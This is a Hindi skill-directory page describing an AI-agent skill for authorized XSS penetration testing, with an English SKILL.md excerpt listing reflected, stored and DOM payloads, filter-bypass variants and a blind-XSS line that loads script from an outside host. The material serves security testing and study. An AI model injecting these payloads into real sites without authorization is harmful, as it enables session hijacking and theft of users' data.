मुख्य सामग्री पर जाएँ
Skillpedia
टेस्टिंग35k · #8392

testing-for-xss-vulnerabilities

यह क्या करती है

यह टूल वेबसाइट्स में ऐसी security flaws ढूंढने में मदद करता है जिनमें हमलावर malicious code inject कर सकता है। यह जांचता है कि साइट उन हमलों से सुरक्षित है या नहीं जो user की जानकारी चुरा सकते हैं या उनका account हाईजैक कर सकते हैं।

कब इस्तेमाल करें

  • ✓किसी वेबसाइट की security जांचते समय, यह पक्का करने के लिए कि वह code injection हमलों के प्रति कमजोर नहीं है।
  • ✓यह देखने के लिए कि malicious code से बचाव के उपाय सही तरह से काम कर रहे हैं या नहीं।
  • ✓यह दिखाने के लिए कि कोई हमला user की जानकारी कैसे चुरा सकता है या उसकी जगह कैसे काम कर सकता है।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“जांचो कि वेबसाइट X malicious code injection और session hijacking से सुरक्षित है या नहीं।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

यह टूल वेबसाइट के अलग-अलग हिस्सों में छोटे-छोटे code के टुकड़े (जैसे 'alert(1)') डालता है ताकि देखा जा सके कि code चलता है या नहीं। यह मौजूदा सुरक्षा उपायों को बायपास करने की कोशिश भी करता है, ताकि साबित हो सके कि हमला संभव है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Testing for XSS Vulnerabilities

When to Use

  • Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
  • Evaluating the effectiveness of input sanitization and output encoding across all application features
  • Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
  • Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
  • Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

  • Authorized scope defining the target web application and acceptable testing activities
  • Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
  • Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
  • XSS Hunter or Burp Collaborator for out-of-band payload verification
  • SecLists XSS payload lists and custom payloads for WAF bypass scenarios

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

  • Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
  • Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
  • DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
  • Output context identification: For each reflected input, determine the rendering context:
    • HTML body: <div>USER_INPUT</div>
    • HTML attribute: <input value="USER_INPUT">
    • JavaScript string: var x = 'USER_INPUT';
    • URL context: <a href="USER_INPUT">
    • CSS context: <div style="color: USER_INPUT">

Step 2: Reflected XSS Testing

Test reflected injection points with context-appropriate payloads:

  • HTML body context: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
  • HTML attribute context: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
  • JavaScript string context: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
  • URL/href context: javascript:alert(1), data:text/html,<script>alert(1)</script>
  • Inside HTML comments: --><script>alert(1)</script><!--
  • Filter bypass payloads (when basic payloads are blocked):
    • Case variation: <ScRiPt>alert(1)</sCrIpT>
    • Event handlers: <details open ontoggle=alert(1)>
    • SVG: <svg><animate onbegin=alert(1) attributeName=x>
    • Encoding: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Step 3: Stored XSS Testing

Test persistent storage points that render input to other users:

  • Submit XSS payloads to every stored input field identified in Step 1
  • Use a unique identifier in each payload to track which inputs trigger: <script>alert('XSS-PROFILE-001')</script>
  • Check all locations where the stored input is rendered (the same input may appear on multiple pages)
  • Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
  • Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
  • Use XSS Hunter payloads ("><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

Step 4: DOM-Based XSS Testing

Analyze client-side JavaScript for unsafe DOM manipulation:

  • Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
    • document.location, document.URL, document.referrer
    • location.hash, location.search, location.href

…

अक्सर पूछे जाने वाले सवाल

XSS क्या है?

XSS (Cross-Site Scripting) एक तरह का हमला है, जिसमें हमलावर भरोसेमंद वेबसाइटों में malicious scripts डाल देता है, जो फिर दूसरे users के browser में चलती हैं।

'payloads' क्या होते हैं?

Payloads वे malicious code होते हैं जिन्हें हमलावर वेबसाइट में inject करने की कोशिश करता है। ये सिर्फ एक संदेश दिखाने वाले simple command से लेकर डेटा चुराने वाले जटिल code तक हो सकते हैं।

'CSP' क्या है?

CSP (Content Security Policy) एक security layer है, जो browser को बताती है कि कौन से content sources भरोसेमंद हैं, और इससे XSS व दूसरे code injection हमले रोकने में मदद मिलती है।

जानकारी

लेखक का मूल विवरण

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8392
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills